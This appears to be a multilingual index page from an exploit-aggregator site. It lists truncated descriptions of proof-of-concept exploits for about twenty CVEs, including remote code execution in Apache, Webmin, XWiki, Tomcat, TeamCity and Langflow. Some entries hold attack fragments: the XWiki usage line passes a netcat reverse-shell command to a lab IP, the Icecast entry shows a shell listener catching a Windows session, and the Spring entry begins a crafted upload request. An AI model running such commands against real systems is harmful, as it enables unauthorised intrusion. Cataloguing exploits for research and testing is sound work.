Assignement_3-CVE-2017-7269

CVE-2017-7269 Nome : Killian Munt-Buron e Naji Ullah Abbasi Descrição da CVE CVE-2017-7269 é uma vulnerabilidade de estouro de buffer no Microsoft Windows Server 2003 R2. A vulnerabilidade está na função ScStoragePathFromUrl no WebDAV. Esta vulnerabilidade permite executar código arbitrário por...

CVE-2023-26469-Jorani

Ferramenta de Exploração CVE-2023-26469 Visão Geral Esta é uma ferramenta de exploração PoC para a versão 1.0.0 do Jorani, que permite que um atacante obtenha execução remota de código por meio de técnicas de path traversal e injeção de logs. ⚠️ Aviso: Esta ferramenta é apenas para pesquisa de...

CVE-2025-59287-PoC

CVE-2025-59287 / CVE-2023-35317 PoC Approfondimento su CVE-2025-59287: SoapFormatter RCE in WSUS: https://shellcode.blog/wsus-cve-2025-59287-investigation/ Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è...

CVE-2021-41773-exercise

CVE-2021-41773-exercise A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by...

CVE-2023-4220-PoC

CVE-2023-4220 رفع ملفات تعسفي / RCE - PoC أنشأت هذا السكربت لأتمتة استغلال CVE-2023-4220 والحصول على شل عكسي على جهاز Hack The Box PermX. هذه الثغرة تؤثر على إصدارات Chamilo LMS ≤ 1.11.24 ، بسبب عدم كفاية التحقق في وظيفة الرفع الكبير. يمكن لمهاجم غير مصادق رفع ملفات إلى دليل متاح للعامة، مما قد...

CVE-2012-2982_python

CVE-2012-2982 Exploit python Bonjour, je suis chercheur en sécurité et c'est mon premier exploit. Webmin 1.580 possède une RCE qui est également CVE-2012-2982 Pour utiliser ce payload: 1. télécharger 2. Ouvrir dans un éditeur de texte ! 3. remplacer targetIP par votre cible 4. remplacer lhost par...

CVE-2023-21716

CVE-2023-21716 Microsoft Word RTF Font Table Heap Corruption https://twitter.com/jduck Microsoft Office의 wwlib 내 취약점으로 인해 공격자는 악성 RTF 문서를 여는 피해자의 권한으로 원격 코드 실행을 달성할 수 있습니다. 공격자는 이 파일을 이메일 첨부 파일또는 기타 수단로 전달할 수 있습니다. 배경 Microsoft Word는 Microsoft Office에 포함된 워드 프로세싱 애플리케이션입니다. 기본 설치 기준으로 Microsoft...

CVE-2022-22965_PoC

Sfruttamento RCE di Spring Framework Note rapide per pentest Passo 1: Trova un endpoint nel tuo target dove sono accettati metodi POST/PUT + codifica il payload URL encode root@kitploit: POST /path/upload HTTP/1.1 Host: Origin: Cookie: JSESSIONID=BE65B534335A5A2538624404C063B70C; Content-Type:...

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32-

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32- 사용법 Ncat을 사용한 리버스 셸 리스너 root@kitploit: root@Kali:/TryHackme/Ice nc -nlvp 443 listening on any 443 ... connect to 192.168.92.128 from UNKNOWN 192.168.92.133 49211 Microsoft Windows Version 6.1.7601 Copyright c 2009 Microsoft...

CVE-2025-24893

CVE-2025-24893 Exploit für Remote Code Execution für XWiki für Versionen vor 15.10.11, 16.4.1 und 16.5.0RC1. Verwendung root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Nutze es nur für ethische Zwecke :...

CVE-2024-50379-POC

CVE-2024-50379 악용 및 POC 이 저장소에는 Apache Tomcat에 영향을 미치는 취약점인 CVE-2024-50379 에 대한 개념 증명POC이 포함되어 있습니다. 이 문제는 TOCTOUTime-of-Check Time-of-Use 경쟁 조건 과 관련이 있으며, 특히 Windows와 같은 대소문자를 구분하지 않는 파일 시스템에서 원격 코드 실행RCE으로 이어질 수 있습니다. 목차 설명 POC 사용법 보안 고려 사항 라이선스 설명 CVE-2024-50379는 Apache Tomcat의 취약점으로, 공격자가...

CVE-2024-44871

MoziloCMS = 3.0.1 인증된 RCE 설명 이 스크립트는 MoziloCMS를 실행하는 웹 애플리케이션 테스트를 위해 설계된 익스플로잇 도구입니다. 공격자가 관리자 로그인을 사용하여 jpg 파일을 통해 PHP 웹 셸을 업로드하고, 업로드된 파일의 이름을 php로 변경한 다음, 해당 php 파일을 통해 대상에 시스템 명령을 전송할 수 있게 해줍니다. ⚠️ 경고: 이 스크립트는 교육 목적으로만 사용됩니다. 책임감 있게 사용하고 시스템을 테스트하기 전에 적절한 권한이 있는지 확인하십시오. 무단 사용은 불법이며 비윤리적입니다...

CVE-2021-41773

CVE-2021-41773 Apache2 2.4.49 - Exploit LFI e RCE Info root@kitploit: Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution RCE Exploit Author: Gaurav Raj https://gauravraj.xyz https://blog.gauravraj.xyz Vendor Homepage: https://apache.org/ Version: 2.4.49 Tested on:...

CVE-2023-33246

CVE-2023-33246 Modificar props.setProperty, executar comando...

CVE-2024-27198

CVE-2024-27198: Bypass de autenticação no Jetbrain Teamcity leva à execução remota de código ====================== Visão Geral TeamCity é um servidor de Integração Contínua e Implantação que fornece testes unitários contínuos prontos para uso, análise de qualidade de código e relatórios...

CVE-2025-0868

Relatório de Projeto de Teste de Penetração: Explorando CVE-2025-0868 RCE no DocsGPT via JSON Eval 1. Introdução Uma falha crítica de Execução Remota de Código RCE CVE-2025-0868 foi divulgada em 20 de fevereiro de 2025 na biblioteca open-source DocsGPT, causada pelo uso inseguro de eval ao...

langflow-CVE-2026-33017-poc

CVE-2026-33017 — PoC di RCE non autenticata in Langflow Solo per scopi educativi e test autorizzati. Riepilogo Langflow = 1.8.1 espone un endpoint pubblico di build dei flow che accetta dati di flow controllati dall'attaccante contenenti codice arbitrario. Questi dati vengono passati a...

Demo-Exploit-Jackson-RCE

Demo-Exploit-Jackson-RCE Basato sul progetto jackson-rce-via-spel, questo progetto funge da applicazione web di esempio per testare molteplici vettori d'attacco caricamento file, moduli sulla vulnerabilità di Jackson-databind. Introduzione Basato su un frontend Angular7 e un backend spring-boot, ...

perl_spreadsheet_excel_rce_poc

Vulnerabilità di sicurezza di ParseExcel TL;DR: RCE dalla logica nel parsing delle stringhe di formato. Breve spiegazione dell'exploit La causa principale dell'exploit deriva dalla chiamata di eval su un input utente non validato in Utility.pm...

CVE-2023-21608

CVE-2023-21608 Adobe Acrobat Reader - CVE-2023-21608 - दूरस्थ कोड निष्पादन शोषण ब्लॉग https://medium.com/@Kushagra007/adobe-acrobat-reader-resetform-cagg-uaf-rce-exploit-cve-2023-21608-652624346c8f डेमो...